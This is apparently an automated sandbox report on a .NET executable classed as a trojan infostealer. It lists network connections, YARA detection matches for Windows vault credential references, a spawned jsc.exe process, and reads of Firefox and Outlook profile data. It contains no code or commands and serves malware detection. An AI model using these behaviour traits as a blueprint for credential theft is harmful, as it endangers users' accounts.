Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54399
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53503
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 55026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54285
Source: unknown	Network traffic detected: HTTP traffic on port 50563 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52625 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53637
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53879
Source: unknown	Network traffic detected: HTTP traffic on port 52543 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54289
Source: unknown	Network traffic detected: HTTP traffic on port 51229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53634
Source: unknown	Network traffic detected: HTTP traffic on port 51546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52543
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53632
Source: unknown	Network traffic detected: HTTP traffic on port 53503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54293
Source: unknown	Network traffic detected: HTTP traffic on port 54295 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54295
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55021
Source: unknown	Network traffic detected: HTTP traffic on port 52967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53805
Source: unknown	Network traffic detected: HTTP traffic on port 51541 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51743
Source: unknown	Network traffic detected: HTTP traffic on port 52978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54217
Source: unknown	Network traffic detected: HTTP traffic on port 52987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53809
Source: unknown	Network traffic detected: HTTP traffic on port 54289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52967
Source: unknown	Network traffic detected: HTTP traffic on port 54403 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51634
Source: unknown	Network traffic detected: HTTP traffic on port 51844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53811
Source: unknown	Network traffic detected: HTTP traffic on port 53805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51646
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52977
Source: unknown	Network traffic detected: HTTP traffic on port 53629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50555
Source: unknown	Network traffic detected: HTTP traffic on port 55161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52184
Source: unknown	Network traffic detected: HTTP traffic on port 51839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51646 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52626
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52987
Source: unknown	Network traffic detected: HTTP traffic on port 52184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52625
Source: unknown	Network traffic detected: HTTP traffic on port 52629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52629
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52187
Source: unknown	Network traffic detected: HTTP traffic on port 55022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52986
Source: unknown	Network traffic detected: HTTP traffic on port 52977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50563
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52192
Source: unknown	Network traffic detected: HTTP traffic on port 53419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 54733 -> 443

Source: unknown	HTTPS traffic detected: 140.82.114.3:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.190.93:443 -> 192.168.2.9:52543 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 222.255.238.159:443 -> 192.168.2.9:55161 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE

Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Windows\System32\WerFault.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_02DCB0E5	5_2_02DCB0E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_02DC4AC0	5_2_02DC4AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_02DC3EA8	5_2_02DC3EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_02DCECF0	5_2_02DCECF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_02DCAD18	5_2_02DCAD18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_02DC41F0	5_2_02DC41F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_06996630	5_2_06996630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_06997DC8	5_2_06997DC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_0699B280	5_2_0699B280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_06992398	5_2_06992398
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_0699C1D0	5_2_0699C1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_069951F0	5_2_069951F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_069976E8	5_2_069976E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_0699E3E0	5_2_0699E3E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_06990040	5_2_06990040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_06995930	5_2_06995930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 5_2_06990006	5_2_06990006

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2796 -s 7032

Source: Your file name without extension goes here.exe

Static PE information: No import functions for PE file found

Source: Your file name without extension goes here.exe, 00000001.00000000.1321884692.000001DB4EB62000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWFAFrance.exe4 vs Your file name without extension goes here.exe
Source: Your file name without extension goes here.exe	Binary or memory string: OriginalFilenameWFAFrance.exe4 vs Your file name without extension goes here.exe

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: wintypes.dll	Jump to behavior

Source: 5.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE

Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/4@7/100

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2796

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\bb9fbd0f-da21-491f-8298-8c5d8e5a3d3f

Jump to behavior

Source: Your file name without extension goes here.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Your file name without extension goes here.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Your file name without extension goes here.exe

ReversingLabs: Detection: 52%

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe

File read: C:\Users\user\Desktop\Your file name without extension goes here.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Your file name without extension goes here.exe C:\Users\user\Desktop\Your file name without extension goes here.exe
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2796 -s 7032
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Jump to behavior

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Your file name without extension goes here.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Your file name without extension goes here.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Your file name without extension goes here.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: Your file name without extension goes here.PDBA source: Your file name without extension goes here.exe, 00000001.00000002.2632854919.000000B3BA903000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Desktop\Your file name without extension goes here.PDB source: Your file name without extension goes here.exe, 00000001.00000002.2632854919.000000B3BA903000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: pC:\Users\user\Desktop\Your file name without extension goes here.PDB source: Your file name without extension goes here.exe, 00000001.00000002.2632854919.000000B3BA903000.00000004.00000010.00020000.00000000.sdmp

Source: Your file name without extension goes here.exe

Static PE information: 0x8F735D8A [Sat Apr 7 08:27:54 2046 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Code function: 5_2_02DC6BF9 push edx; iretd

5_2_02DC6BFA

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	File created: \your file name without extension goes here.exe
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	File created: \your file name without extension goes here.exe
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	File created: \your file name without extension goes here.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 52593
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 29212
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 29703
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 51718
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 8002
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 10011
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 13412
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 3950
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 29212
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 10089
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 8635
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 36129
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 46475
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 48993
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 36181
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50287 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50288 -> 25154
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 10007
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 50179 -> 65533
Source: unknown	Network traffic detected: HTTP traffic on port 10011 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 18762
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 57320
Source: unknown	Network traffic detected: HTTP traffic on port 8002 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 32233
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 9150
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 50345 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50338 -> 8380
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 31147
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50357 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 22735
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 10089 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50399 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50354 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50366 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 51718
Source: unknown	Network traffic detected: HTTP traffic on port 50546 -> 8060
Source: unknown	Network traffic detected: HTTP traffic on port 50428 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50395 -> 1388
Source: unknown	Network traffic detected: HTTP traffic on port 50388 -> 31145
Source: unknown	Network traffic detected: HTTP traffic on port 50520 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50577 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50570 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50523 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 999 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50483 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50613 -> 52929
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 50425 -> 20828
Source: unknown	Network traffic detected: HTTP traffic on port 10007 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 50548 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 50201
Source: unknown	Network traffic detected: HTTP traffic on port 65533 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 50569 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50735 -> 20896
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 36129
Source: unknown	Network traffic detected: HTTP traffic on port 50645 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 50576 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50662 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50691 -> 47935
